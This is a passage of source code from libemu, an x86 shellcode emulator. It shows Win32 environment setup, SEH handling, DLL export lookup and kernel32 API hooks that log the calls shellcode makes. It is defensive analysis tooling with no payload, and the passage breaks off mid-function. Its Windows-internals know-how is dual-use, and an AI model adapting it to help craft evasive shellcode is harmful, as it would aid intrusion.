0xaabbccdd;\n\t\tto->InMemoryOrderLinks.Flink = magic_offset + (i+1) * sizeof(struct _LDR_DATA_TABLE_ENTRY) + offsetof(struct _LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);\n\n\t\tto->InInitializationOrderLinks.Blink = 0xa1b2c3d4;\n\t\tto->InInitializationOrderLinks.Flink = magic_offset + (i+1) * sizeof(struct _LDR_DATA_TABLE_ENTRY) + offsetof(struct _LDR_DATA_TABLE_ENTRY, InInitializationOrderLinks);\n\n\t\tint j;\t\t\n\t\tfor( j=0;j<strlen(from->dllname); j++ )\n\t\t\tnames[i][j*2] = from->dllname[j];\n\n\t\tconst char *dll = \".dll\";\n\t\tint k;\n\t\tfor( k=0;k<strlen(\".dll\"); k++ )\n\t\t\tnames[i][j*2+k*2] = dll[k];\n\t}\n\temu_memory_write_block(mem, magic_offset, tables, sizeof(tables));\n\temu_memory_write_block(mem, magic_offset+sizeof(tables), names, sizeof(names));\n\n\t// map kernel32.dll to emu's memory at 0x7c800000\n\tif (emu_env_w32_load_dll(env,\"kernel32.dll\") == -1 || emu_env_w32_load_dll(env,\"ws2_32.dll\") == -1 )\n    {\n\t\tfree(env);\n\t\treturn NULL;\n\t}\n\n\n\treturn env;\n}\n\nvoid emu_env_w32_free(struct emu_env_w32 *env)\n{\n\tint numdlls = 0;\n\twhile (env->loaded_dlls[numdlls] != NULL)\n\t{\n\t\temu_env_w32_dll_free(env->loaded_dlls[numdlls]);\n\t\tnumdlls++;\n\t}\n\tfree(env->loaded_dlls);\n//\temu_profile_free(env->profile);\n\tfree(env);\n\n}\n\n\nint32_t emu_env_w32_load_dll(struct emu_env_w32 *env, char *dllname)\n{\n\n\tlogDebug(env->emu, \"trying to load dll %s\\n\", dllname);\n\n\tint i;\n\tfor ( i=1; known_dlls[i].dllname != NULL; i++ )\n\t{\n\t\t\n\t\tif ( strncasecmp(dllname, known_dlls[i].dllname, strlen(known_dlls[i].dllname)) == 0 )\n\t\t{\n\t\t\tlogDebug(env->emu, \"loading dll %s\\n\",dllname);\n\t\t\tstruct emu_env_w32_dll *dll = emu_env_w32_dll_new();\n\t\t\tstruct emu_memory *mem = emu_memory_get(env->emu);\n\n\t\t\tdll->dllname = strdup(known_dlls[i].dllname);\n\t\t\tdll->baseaddr = known_dlls[i].baseaddress;\n\t\t\tdll->imagesize = known_dlls[i].imagesize;\n\t\t\tint j;\n\t\t\tfor ( j=0; known_dlls[i].memory_segments[j].address != 0; j++ )\n\t\t\t{\n\t\t\t\tlogDebug(env->emu, \" 0x%08x %i bytes\\n\", known_dlls[i].memory_segments[j].address, \n\t\t\t\t\t   known_dlls[i].memory_segments[j].segment_size);\n\t\t\t\temu_memory_write_block(mem,\n\t\t\t\t\t\t\t\t\t   known_dlls[i].memory_segments[j].address,\n\t\t\t\t\t\t\t\t\t   (void *)known_dlls[i].memory_segments[j].segment,\n\t\t\t\t\t\t\t\t\t   known_dlls[i].memory_segments[j].segment_size);\n\t\t\t}\n\n\t\t\temu_env_w32_dll_exports_copy(dll, known_dlls[i].exports);\n\n\t\t\tint numdlls=0;\n\t\t\tif ( env->loaded_dlls != NULL )\n\t\t\t{\n\t\t\t\twhile ( env->loaded_dlls[numdlls] != NULL )\n\t\t\t\t\tnumdlls++;\n\t\t\t}\n\n\t\t\tenv->loaded_dlls = realloc(env->loaded_dlls, sizeof(struct emu_env_w32_dll *) * (numdlls+2));\n\t\t\tenv->loaded_dlls[numdlls] = dll;\n\t\t\tenv->loaded_dlls[numdlls+1] = NULL;\n\n\t\t\treturn 0;\n\n\t\t}\n\t}\n\n\treturn -1;\n}\n\n\nstruct emu_env_hook *emu_env_w32_eip_check(struct emu_env *env)\n{\n\tuint32_t eip = emu_cpu_eip_get(emu_cpu_get(env->emu));\n\n\tint numdlls=0;\n\twhile ( env->env.win->loaded_dlls[numdlls] != NULL )\n\t{\n/*\t\tprintf(\"0x%08x %s 0x%08x - 0x%08x \\n\",\n\t\t\t   eip,\n\t\t\t   env->loaded_dlls[numdlls]->dllname,\n\t\t\t   env->loaded_dlls[numdlls]->baseaddr,\n\t\t\t   env->loaded_dlls[numdlls]->baseaddr + env->loaded_dlls[numdlls]->imagesize);\n*/\n\t\tif ( eip > env->env.win->loaded_dlls[numdlls]->baseaddr && \n\t\t\t eip < env->env.win->loaded_dlls[numdlls]->baseaddr + env->env.win->loaded_dlls[numdlls]->imagesize )\n\t\t{\n\t\t\tlogDebug(env->env.win->emu, \"eip %08x is within %s\\n\",eip, env->env.win->loaded_dlls[numdlls]->dllname);\n\t\t\tstruct emu_env_w32_dll *dll = env->env.win->loaded_dlls[numdlls];\n\n\t\t\tstruct emu_hashtable_item *ehi = emu_hashtable_search(dll->exports_by_fnptr, (void *)(uintptr_t)(eip - dll->baseaddr));\n\n\t\t\tif ( ehi == NULL )\n\t\t\t{\n\t\t\t\tlogDebug(env->emu, \"unknown call to %08x\\n\", eip);\n\t\t\t\treturn NULL;\n\t\t\t}\n\n\t\t\n\t\t\tstruct emu_env_hook *hook = (struct emu_env_hook *)ehi->value;\n\n\t\t\tif ( hook->hook.win->fnhook != NULL )\n\t\t\t{\n\t\t\t\thook->hook.win->fnhook(env, hook);\n\t\t\t\treturn hook;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tlogDebug(env->emu, \"unhooked call to %s\\n\", hook->hook.win->fnname);\n\t\t\t\treturn hook;\n\t\t\t}\n\t\t}\n\t\tnumdlls++;\n\t}\n\n\treturn NULL;\n}\n\nint32_t emu_env_w32_export_hook(struct emu_env *env,\n\t\t\t\t\t\t\t\tconst char *exportname, \n\t\t\t\t\t\t\t\tuint32_t\t\t(*fnhook)(struct emu_env *env, struct emu_env_hook *hook, ...),\n\t\t\t\t\t\t\t\tvoid *userdata)\n{\n\tint numdlls=0;\n\twhile ( env->env.win->loaded_dlls[numdlls] != NULL )\n\t{\n\t\tif (1)//dllname == NULL || strncasecmp(env->loaded_dlls[numdlls]->dllname, dllname, strlen(env->loaded_dlls[numdlls]->dllname)) == 0)\n\t\t{\n\t\t\tstruct emu_hashtable_item *ehi = emu_hashtable_search(env->env.win->loaded_dlls[numdlls]->exports_by_fnname, (void *)exportname);\n\t\t\tif (ehi != NULL)\n\t\t\t{\n#if 0\n\t\t\t\tprintf(\"hooked %s\\n\",  exportname);\n#endif\n\t\t\t\tstruct emu_env_hook *hook = (struct emu_env_hook *)ehi->value;\n\t\t\t\thook->hook.win->userhook = fnhook;\n\t\t\t\thook->hook.win->userdata = userdata;\n\t\t\t\treturn 0;\n\t\t\t}\n\t\t}\n\t\tnumdlls++;\n\t}\n#if 0\n\tprintf(\"hooking %s failed\\n\", exportname);\n#endif\n\treturn -1;\n}\n\nint32_t emu_env_w32_step_failed(struct emu_env *env)\n{\n\tuint32_t FS_SEGMENT_DEFAULT_OFFSET = 0x7ffdf000;\n\tstruct emu *e = env->emu;\n\tint i=0;\n\tint regs[8];\n\tuint32_t seh = 0;\n\tuint32_t seh_handler = 0;\n\tconst int default_handler = 0x7c800abc;\n\tstruct emu_memory *m = emu_memory_get(e);\n\n\t//lets check and see if an exception handler has been set\n\tif( emu_memory_read_dword( m, FS_SEGMENT_DEFAULT_OFFSET, &seh) == -1 )\n\t\treturn -1;\n\tif( emu_memory_read_dword( m, seh+4, &seh_handler) == -1 )\n\t\treturn -1;\n\tif( seh_handler == 0 )\n\t\treturn -1; //better to check to see if code section huh?\n\tif( seh_handler == default_handler )\n\t\treturn -1;\t//not a real one dummy we put in place..\n\n\tif( seh_handler == env->env.win->lastExceptionHandler )\n\t{\n\t\tenv->env.win->exception_count++; //really here is where we should walk the chain...\n\t\tif( env->env.win->exception_count >= 2 )\n\t\t\treturn -1;\n\t\t//if(seh == 0xFFFFFFFF) return -1;\n\t} else\n\t{\n\t\tenv->env.win->exception_count = 0;\n\t\tenv->env.win->lastExceptionHandler = seh_handler;\n\t}\n\n\tprintf(\"\\n%x\\tException caught SEH=0x%x (seh foffset:%x)\\n\", env->env.win->last_good_eip, seh_handler, seh_handler);// - CODE_OFFSET);\n\n\t//now take our saved esp, add two ints to stack (subtract 8) and set org esp pointer there.\n\tuint32_t cur_esp = emu_cpu_reg32_get(emu_cpu_get(e), esp);\n\tuint32_t new_esp = cur_esp - 8;\n\n\tprintf(\"\\tcur_esp=%x new_esp=%x\\n\\n\",cur_esp,new_esp);\n\n\temu_cpu_eip_set(emu_cpu_get(e), seh_handler);\n\n\tregs[eax] = 0;\n\tregs[ebx] = 0;\n\tregs[esi] = 0;\n\tregs[edi] = 0;\n\tregs[ecx] = seh_handler;\n\tregs[edx] = 0xDEADBEEF;\t//unsure what this is was some ntdll addr 0x7C9032BC\n\tregs[esp] = new_esp;\n\n\t//update the registers with our new values\n\tfor( i=0;i<8;i++ )\n\t\temu_cpu_reg32_set( emu_cpu_get(e), i , regs[i]);\n\n\tuint32_t write_at  = new_esp + 8;\n\temu_memory_write_dword(m, write_at, cur_esp); //write saved esp to stack\n\n\treturn 0; //dont break in final error test..give it a chance...to work in next step\n}\n\n#include \"dlls/kernel32dll.c\"\n#include \"dlls/ws2_32dll.c\"\n#include \"dlls/msvcrtdll.c\"\n#include \"dlls/urlmondll.c\"\n#include \"dlls/advapi32dll.c\"\n#include \"dlls/user32dll.c\"\n#include \"dlls/shell32dll.c\"\n#include \"dlls/wininetdll.c\"\n#include \"dlls/shdocvwdll.c\"\n#include \"dlls/ntdll.c\"\n#include \"dlls/shlwapidll.c\"\n\n"
  },
  {
    "path": "src/environment/win32/emu_env_w32_dll.c",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2007  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n\n#include <stdlib.h>\n#include <string.h>\n\n#include \"emu/emu.h\"\n#include \"emu/environment/emu_env.h\"\n#include \"emu/environment/win32/emu_env_w32_dll.h\"\n#include \"emu/environment/win32/emu_env_w32_dll_export.h\"\n#include \"emu/emu_hashtable.h\"\n\nstruct emu_env_w32_dll *emu_env_w32_dll_new(void)\n{\n\tstruct emu_env_w32_dll *dll = (struct emu_env_w32_dll *)malloc(sizeof(struct emu_env_w32_dll));\n\tmemset(dll,0,sizeof(struct emu_env_w32_dll));\n    return dll;\n}\n\nvoid emu_env_w32_dll_free(struct emu_env_w32_dll *dll)\n{\n\temu_hashtable_free(dll->exports_by_fnptr);\n\temu_hashtable_free(dll->exports_by_fnname);\n\tfree(dll->exportx);\n\tfree(dll->hooks);\n\tfree(dll->dllname);\n\tfree(dll);\n}\n\nvoid emu_env_w32_dll_exports_copy(struct emu_env_w32_dll *to,struct emu_env_w32_dll_export *from)\n{\n\tuint32_t size;\n\tuint32_t i;\n\tfor (i=0;from[i].fnname != 0; i++);\n\n\tsize = i;\n\n\tto->exportx = malloc(sizeof(struct emu_env_w32_dll_export) * size);\n\tto->hooks = malloc(sizeof(struct emu_env_hook) * size);\n\tmemcpy(to->exportx, from, sizeof(struct emu_env_w32_dll_export) * size);\n\n\n\tto->exports_by_fnptr = emu_hashtable_new(size, emu_hashtable_ptr_hash,emu_hashtable_ptr_cmp);\n\tto->exports_by_fnname = emu_hashtable_new(size, emu_hashtable_string_hash, emu_hashtable_string_cmp);\n\n\tfor (i=0;from[i].fnname != 0; i++)\n\t{\n\t\tstruct emu_env_w32_dll_export *ex = &to->exportx[i];\n\t\tstruct emu_env_hook *hook = &to->hooks[i];\n\t\thook->type = emu_env_type_win32;\n\t\thook->hook.win = ex;\n\n\t\temu_hashtable_insert(to->exports_by_fnptr, (void *)(uintptr_t)from[i].virtualaddr, hook);\n\t\temu_hashtable_insert(to->exports_by_fnname, (void *)(uintptr_t)from[i].fnname, hook);\n\t}\n}\n"
  },
  {
    "path": "src/environment/win32/emu_env_w32_dll_export.c",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2007  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n\n#include <stdlib.h>\n#include <string.h>\n\n// for the socket hooks\n#include <sys/types.h>\n#include <sys/socket.h>\n#include <netinet/in.h>\n#include <arpa/inet.h>\n\n#include <sys/wait.h>\n#include <unistd.h>\n\n\n#include \"emu/emu.h\"\n#include \"emu/emu_memory.h\"\n#include \"emu/emu_cpu.h\"\n#include \"emu/emu_cpu_data.h\"\n#include \"emu/emu_cpu_stack.h\"\n#include \"emu/emu_hashtable.h\"\n#include \"emu/environment/win32/emu_env_w32.h\"\n#include \"emu/environment/win32/emu_env_w32_dll_export.h\"\n#include \"emu/environment/win32/emu_env_w32_dll.h\"\n#include \"emu/emu_string.h\"\n\nstruct emu_env_w32_dll_export *emu_env_w32_dll_export_new(void)\n{\n\tstruct emu_env_w32_dll_export *exp = (struct emu_env_w32_dll_export *)malloc(sizeof(struct emu_env_w32_dll_export));\n\tmemset(exp,0,sizeof(struct emu_env_w32_dll_export));\n\treturn exp;\n}\n\nvoid emu_env_w32_dll_export_free(struct emu_env_w32_dll_export *exp)\n{\n\tfree(exp);\n}\n\nvoid emu_env_w32_dll_export_copy(struct emu_env_w32_dll_export *to, struct emu_env_w32_dll_export *from)\n{\n\tto->fnhook = from->fnhook;\n\tto->fnname = from->fnname;\n\tto->virtualaddr = from->virtualaddr;\n}\n\n\n"
  },
  {
    "path": "src/environment/win32/env_w32_dll_export_kernel32_hooks.c",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2007  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n\n#include <stdlib.h>\n#include <string.h>\n\n// for the socket hooks\n#include <sys/types.h>\n#include <sys/socket.h>\n#include <netinet/in.h>\n#include <arpa/inet.h>\n\n#include <sys/wait.h>\n#include <unistd.h>\n#include <errno.h>\n\n#include \"../../../config.h\"\n#include \"emu/emu.h\"\n#include \"emu/emu_log.h\"\n#include \"emu/emu_memory.h\"\n#include \"emu/emu_cpu.h\"\n#include \"emu/emu_cpu_data.h\"\n#include \"emu/emu_cpu_stack.h\"\n#include \"emu/emu_hashtable.h\"\n#include \"emu/emu_string.h\"\n#include \"emu/environment/emu_env.h\"\n#include \"emu/environment/emu_profile.h\"\n#include \"emu/environment/win32/emu_env_w32.h\"\n#include \"emu/environment/win32/emu_env_w32_dll.h\"\n#include \"emu/environment/win32/emu_env_w32_dll_export.h\"\n#include \"emu/environment/win32/env_w32_dll_export_kernel32_hooks.h\"\n\n\nint32_t\tenv_w32_hook_CloseHandle(struct emu_env *env, struct emu_env_hook *hook)\n{\n\tlogDebug(env->emu, \"Hook me Captain Cook!\\n\");\n\tlogDebug(env->emu, \"%s:%i %s\\n\",__FILE__,__LINE__,__FUNCTION__);\n\n\tstruct emu_cpu *c = emu_cpu_get(env->emu);\n\n\tuint32_t eip_save;\n\n\tPOP_DWORD(c, &eip_save);\n\n\t\n\t\n/*\nBOOL CloseHandle(\n  HANDLE hObject\n);\n*/\n\n\n\tuint32_t object;\n\tPOP_DWORD(c, &object);\n\n\n\n\tuint32_t returnvalue;\n\tif ( hook->hook.win->userhook != NULL )\n\t{\n\t\treturnvalue = hook->hook.win->userhook(env, hook, \n\t\t\t\t\t\t\t\t\t\t\t   object);\n\t}else\n\t{\n\t\treturnvalue\t= 0;\n\t}\n\n\tif ( env->profile != NULL )\n\t{\n\t\temu_profile_function_add(env->profile, \"CloseHandle\");\n\t\temu_profile_argument_add_int(env->profile, \"HANDLE\", \"hObject\", object);\n\t\temu_profile_function_returnvalue_int_set(env->profile, \"BOOL\", returnvalue);\n\t}\n\n\temu_cpu_reg32_set(c, eax, returnvalue);\n\n\t\n\n\temu_cpu_eip_set(c, eip_save);\n\treturn 0;\n}\n\n\nint32_t\tenv_w32_hook_CreateFileA(struct emu_env *env, struct emu_env_hook *hook)\n{\n\tlogDebug(env->emu, \"Hook me Captain Cook!\\n\");\n\tlogDebug(env->emu, \"%s:%i %s\\n\",__FILE__,__LINE__,__FUNCTION__);\n\n\tstruct emu_cpu *c = emu_cpu_get(env->emu);\n\n\tuint32_t eip_save;\n\n\tPOP_DWORD(c, &eip_save);\n\n/*\nHANDLE CreateFile(\n  LPCTSTR lpFileName,\n  DWORD dwDesiredAccess,\n  DWORD dwShareMode,\n  LPSECURITY_ATTRIBUTES lpSecurityAttributes,\n  DWORD dwCreationDisposition,\n  DWORD dwFlagsAndAttributes,\n  HANDLE hTemplateFile\n);\n*/\n\n\tuint32_t p_filename;\n\tPOP_DWORD(c, &p_filename);\n    struct emu_string *filename = emu_string_new();\n\temu_memory_read_string(emu_memory_get(env->emu), p_filename, filename, 256);\n\n\tuint32_t desiredaccess;\n\tPOP_DWORD(c, &desiredaccess);\n\n\tuint32_t sharemode;\n\tPOP_DWORD(c, &sharemode);\n\n\tuint32_t securityattr;\n\tPOP_DWORD(c, &securityattr);\n\n    uint32_t createdisp;\n\tPOP_DWORD(c, &createdisp);\n\n\tuint32_t flagsandattr;\n\tPOP_DWORD(c, &flagsandattr);\n\n\tuint32_t templatefile;\n\tPOP_DWORD(c, &templatefile);\n\n\n\n\tuint32_t returnvalue;\n\tif ( hook->hook.win->userhook != NULL )\n\t{\n\t\treturnvalue = hook->hook.win->userhook(env, hook, \n\t\t\t\t\t\t\t\t\t\t\t   emu_string_char(filename),\n\t\t\t\t\t\t\t\t\t\t\t   desiredaccess,\n\t\t\t\t\t\t\t\t\t\t\t   sharemode,\n\t\t\t\t\t\t\t\t\t\t\t   securityattr,\n\t\t\t\t\t\t\t\t\t\t\t   createdisp,\n\t\t\t\t\t\t\t\t\t\t\t   flagsandattr,\n\t\t\t\t\t\t\t\t\t\t\t   templatefile);\n\t}else\n\t{\n\t\treturnvalue\t= 0x8383838;\n\t}\n\n\tif (env->profile != NULL)\n\t{\n\t\temu_profile_function_add(env->profile, \"CreateFile\");\n\t\temu_profile_argument_add_ptr(env->profile, \"LPCTSTR\", \"lpFileName\", p_filename);\n\t\temu_profile_argument_add_string(env->profile,\"\",  \"\",  emu_string_char(filename));\n\t\temu_profile_argument_add_int(env->profile, \"DWORD\", \"dwDesiredAccess\", desiredaccess);\n\t\temu_profile_argument_add_int(env->profile, \"DWORD\", \"dwShareMode\", sharemode);\n\t\temu_profile_argument_add_ptr(env->profile, \"LPSECURITY_ATTRIBUTES\", \"lpSecurityAttributes\", securityattr);\n\t\temu_profile_argument_add_none(env->profile);\n\t\temu_profile_argument_add_int(env->profile, \"DWORD\", \"dwCreationDisposition\", createdisp);\n\t\temu_profile_argument_add_int(env->profile, \"DWORD\", \"dwFlagsAndAttributes\", flagsandattr);\n\t\temu_profile_argument_add_int(env->profile, \"HANDLE\", \"hTemplateFile\", templatefile);\n\t\temu_profile_function_returnvalue_int_set(env->profile, \"HANDLE\", returnvalue);\n\t}\n\temu_string_free(filename);\n\n\temu_cpu_reg32_set(c, eax, returnvalue);\n\temu_cpu_eip_set(c, eip_save);\n\n\treturn 0;\n}\n\nint32_t\tenv_w32_hook_CreateFileMapping(struct emu_env *env, struct emu_env_hook *hook)\n{\n\tlogDebug(env->emu, \"Hook me Captain Cook!\\n\");\n\tlogDebug(env->emu, \"%s:%i %s\\n\",__FILE__,__LINE__,__FUNCTION__);\n\n\tstruct emu_cpu *c = emu_cpu_get(env->emu);\n\n\tuint32_t eip_save;\n\n\tPOP_DWORD(c, &eip_save);\n/*HANDLE WINAPI CreateFileMapping(\n  __in      HANDLE hFile,\n  __in_opt  LPSECURITY_ATTRIBUTES lpAttributes,\n  __in      DWORD flProtect,\n  __in      DWORD dwMaximumSizeHigh,\n  __in      DWORD dwMaximumSizeLow,\n  __in_opt  LPCTSTR lpName\n);\n*/\n\n\tuint32_t hFile;\n\tPOP_DWORD(c, &hFile);\n\n\tuint32_t lpAttributes;\n\tPOP_DWORD(c, &lpAttributes);\n\n\tuint32_t flProtect;\n\tPOP_DWORD(c, &flProtect);\n\n\tuint32_t dwMaximumSizeHigh;\n\tPOP_DWORD(c, &dwMaximumSizeHigh);\n\n\tuint32_t dwMaximumSizeLow;\n\tPOP_DWORD(c, &dwMaximumSizeLow);\n\n\tuint32_t p_lpName;\n\tPOP_DWORD(c, &p_lpName);\n\tstruct emu_string *Name = emu_string_new();\n\temu_memory_read_string(emu_memory_get(env->emu), p_lpName, Name, 256);\n\n\n\tif (env->profile != NULL)\n\t{\n\t\temu_profile_function_add(env->profile, \"CreateFileMapping\");\n\t\temu_profile_argument_add_int(env->profile, \"HANDLE\", \"hFile\", hFile);\n\t\temu_profile_argument_add_ptr(env->profile, \"LPSECURITY_ATTRIBUTES\", \"lpSecurityAttributes\", lpAttributes);\n\t\temu_profile_argument_add_none(env->profile);\n\t\temu_profile_argument_add_int(env->profile, \"DWORD\", \"flProtect\", flProtect);\n\t\temu_profile_argument_add_int(env->profile, \"DWORD\", \"dwMaximumSizeHigh\", dwMaximumSizeHigh);\n\t\temu_profile_argument_add_int(env->profile, \"DWORD\", \"dwMaximumSizeLow\", dwMaximumSizeLow);\n\t\temu_profile_argument_add_ptr(env->profile, \"LPCTSTR\", \"lpName\", p_lpName);\n\t\temu_profile_argument_add_string(env->profile,\"\",  \"\",  emu_string_char(Name));\n\n\t\temu_profile_function_returnvalue_int_set(env->profile, \"HANDLE\", 0x123456);\n\t}\n\n\temu_string_free(Name);\n\n\temu_cpu_reg32_set(c, eax, 0x123456);\n\temu_cpu_eip_set(c, eip_save);\n\treturn 0;\n}\n\nint32_t\tenv_w32_hook_CreateProcessA(struct emu_env *env, struct emu_env_hook *hook)\n{\n\tlogDebug(env->emu, \"Hook me Captain Cook!\\n\");\n\tlogDebug(env->emu, \"%s:%i %s\\n\",__FILE__,__LINE__,__FUNCTION__);\n\n\tstruct emu_cpu *c = emu_cpu_get(env->emu);\n\tstruct emu_memory *m = emu_memory_get(env->emu);\n\n\tuint32_t eip_save;\n\n\tPOP_DWORD(c, &eip_save);\n\n/*BOOL CreateProcess( \n  LPCWSTR pszImageName, \n  LPCWSTR pszCmdLine, \n  LPSECURITY_ATTRIBUTES psaProcess, \n  LPSECURITY_ATTRIBUTES psaThread, \n  BOOL fInheritHandles, \n  DWORD fdwCreate, \n  LPVOID pvEnvironment, \n  LPWSTR pszCurDir, \n  LPSTARTUPINFOW psiStartInfo, \n  LPPROCESS_INFORMATION pProcInfo\n);*/\n\t\n\n\tuint32_t p_imagename;\n\tPOP_DWORD(c, &p_imagename);\n\n\tstruct emu_string *imagename = emu_string_new();\n\temu_memory_read_string(m, p_imagename, imagename, 1024);\n\n\n\tuint32_t p_cmdline;\n\tPOP_DWORD(c, &p_cmdline);\n\n\tstruct emu_string *command = emu_string_new();\n\temu_memory_read_string(m, p_cmdline, command, 1024);\n//\temu_string_free(command);\n\n\n\tuint32_t p_process;\n\tPOP_DWORD(c, &p_process);\n\n\n\tuint32_t p_thread;\n\tPOP_DWORD(c, &p_thread);\n\n\n\tuint32_t inherithandles;\n\tPOP_DWORD(c, &inherithandles);\n\n\n\tuint32_t create;\n\tPOP_DWORD(c, &create);\n\n\tuint32_t environment;\n\tPOP_DWORD(c, &environment);\n\n\n\tuint32_t cwd;\n\tPOP_DWORD(c, &cwd);\n\n\n\tuint32_t p_startinfo;\n\tPOP_DWORD(c, &p_startinfo);\n\n\n\tSTARTUPINFO *si = malloc(sizeof(STARTUPINFO));\n\tmemset(si, 0, sizeof(STARTUPINFO));\n\n\temu_memory_read_dword(m, p_startinfo + 14 * 4, (uint32_t *)&si->hStdInput);\n\temu_memory_read_dword(m, p_startinfo + 15 * 4, (uint32_t *)&si->hStdOutput);\n\temu_memory_read_dword(m, p_startinfo + 16 * 4, (uint32_t *)&si->hStdError);\n\n\n\tuint32_t p_procinfo;\n\tPOP_DWORD(c, &p_procinfo);\n\n\tPROCESS_INFORMATION *pi = malloc(sizeof(PROCESS_INFORMATION));\n\tmemset(pi, 0, sizeof(PROCESS_INFORMATION));\n\n\tpi->hProcess = 4713;\n\tpi->hThread = 4714;\n\tpi->dwProcessId = 4711;\n\tpi->dwThreadId = 4712;\n\n//\temu_memory_write_block(m, p_procinfo, pi, sizeof(PROCESS_INFORMATION));\n\temu_memory_write_dword(m, p_procinfo+0*4, pi->hProcess);\n\temu_memory_write_dword(m, p_procinfo+1*4, pi->hThread);\n\temu_memory_write_dword(m, p_procinfo+2*4, pi->dwProcessId);\n\temu_memory_write_dword(m, p_procinfo+3*4, pi->dwThreadId);\n\n\tuint32_t returnvalue;\n\tif ( hook->hook.win->userhook != NULL )\n\t{\n\t\treturnvalue = hook->hook.win->userhook(env, hook, \n\t\t\t\t\t\t\t\t\t\t\t   /* LPCWSTR pszImageName,             */ NULL,\n\t\t\t\t\t\t\t\t\t\t\t   /* LPCWSTR pszCmdLine,               */ emu_string_char(command),\n\t\t\t\t\t\t\t\t\t\t\t   /* LPSECURITY_ATTRIBUTES psaProcess, */ NULL,\n\t\t\t\t\t\t\t\t\t\t\t   /* LPSECURITY_ATTRIBUTES psaThread,  */ NULL,\n\t\t\t\t\t\t\t\t\t\t\t   /* BOOL fInheritHandles,             */ NULL,\n\t\t\t\t\t\t\t\t\t\t\t   /* DWORD fdwCreate,                  */ NULL,\n\t\t\t\t\t\t\t\t\t\t\t   /* LPVOID pvEnvironment,             */ NULL,\n\t\t\t\t\t\t\t\t\t\t\t   /* LPWSTR pszCurDir,                 */ NULL,\n\t\t\t\t\t\t\t\t\t\t\t   /* LPSTARTUPINFOW psiStartInfo,      */ si,\n\t\t\t\t\t\t\t\t\t\t\t   /* LPPROCESS_INFORMATION pProcInfo   */ pi);\n\t}else\n\t{\n\t\tpi->hProcess = 4712;\n\t\treturnvalue\t= -1;\n\t}\n\n//\temu_memory_write_block(m, p_procinfo, pi, sizeof(PROCESS_INFORMATION));\n\temu_memory_write_dword(m, p_procinfo+0*4, pi->hProcess);\n\temu_memory_write_dword(m, p_procinfo+1*4, pi->hThread);\n\temu_memory_write_dword(m, p_procinfo+2*4, pi->dwProcessId);\n\temu_memory_write_dword(m, p_procinfo+3*4, pi->dwThreadId);\n\n\n\n\tif ( env->profile != NULL )\n\t{\n\t\temu_profile_function_add(env->profile, \"CreateProcess\");\n\t\temu_profile_argument_add_ptr(env->profile, \"LPCWSTR\", \"pszImageName\", p_imagename);\n\t\temu_profile_argument_add_string(env->profile, \"\",\"\", emu_string_char(imagename));\n\t\temu_profile_argument_add_ptr(env->profile, \"LPCWSTR\", \"pszCmdLine\", p_cmdline);\n\t\temu_profile_argument_add_string(env->profile, \"\",\"\", emu_string_char(command));\n\t\temu_profile_argument_add_ptr(env->profile, \"LPSECURITY_ATTRIBUTES\", \"psaProcess\", p_process);\n\t\temu_profile_argument_add_none(env->profile);\n\t\temu_profile_argument_add_ptr(env->profile, \"LPSECURITY_ATTRIBUTES\", \"psaThread\", p_thread);\n\t\temu_profile_argument_add_none(env->profile);\n\t\temu_profile_argument_add_int(env->profile, \"BOOL\", \"fInheritHandles\", inherithandles);\n\t\temu_profile_argument_add_int(env->profile, \"DWORD\", \"fdwCreate\", create);\n\t\temu_profile_argument_add_ptr(env->profile, \"LPVOID\", \"pvEnvironment\", environment);\n\t\temu_profile_argument_add_none(env->profile);\n\t\temu_profile_argument_add_ptr(env->profile, \"LPWSTR\", \"pszCurDir\", cwd);\n\t\temu_profile_argument_add_none(env->profile);\n\n\t\temu_profile_argument_add_ptr(env->profile, \"LPSTARTUPINFOW\", \"psiStartInfo\", p_startinfo);\n\t\temu_profile_argument_struct_start(env->profile, \"\", \"\");\n\t\temu_profile_argument_add_int(env->profile, \"DWORD\",  \"cb\"               , si->cb);                                                   \n\t\temu_profile_argument_add_int(env->profile, \"LPTSTR\", \"lpReserved\"       , (uint32_t)(uintptr_t)si->lpReserved);\n\t\temu_profile_argument_add_int(env->profile, \"LPTSTR\", \"lpDesktop\"        , (uint32_t)(uintptr_t)si->lpDesktop);\n\t\temu_profile_argument_add_int(env->profile, \"LPTSTR\", 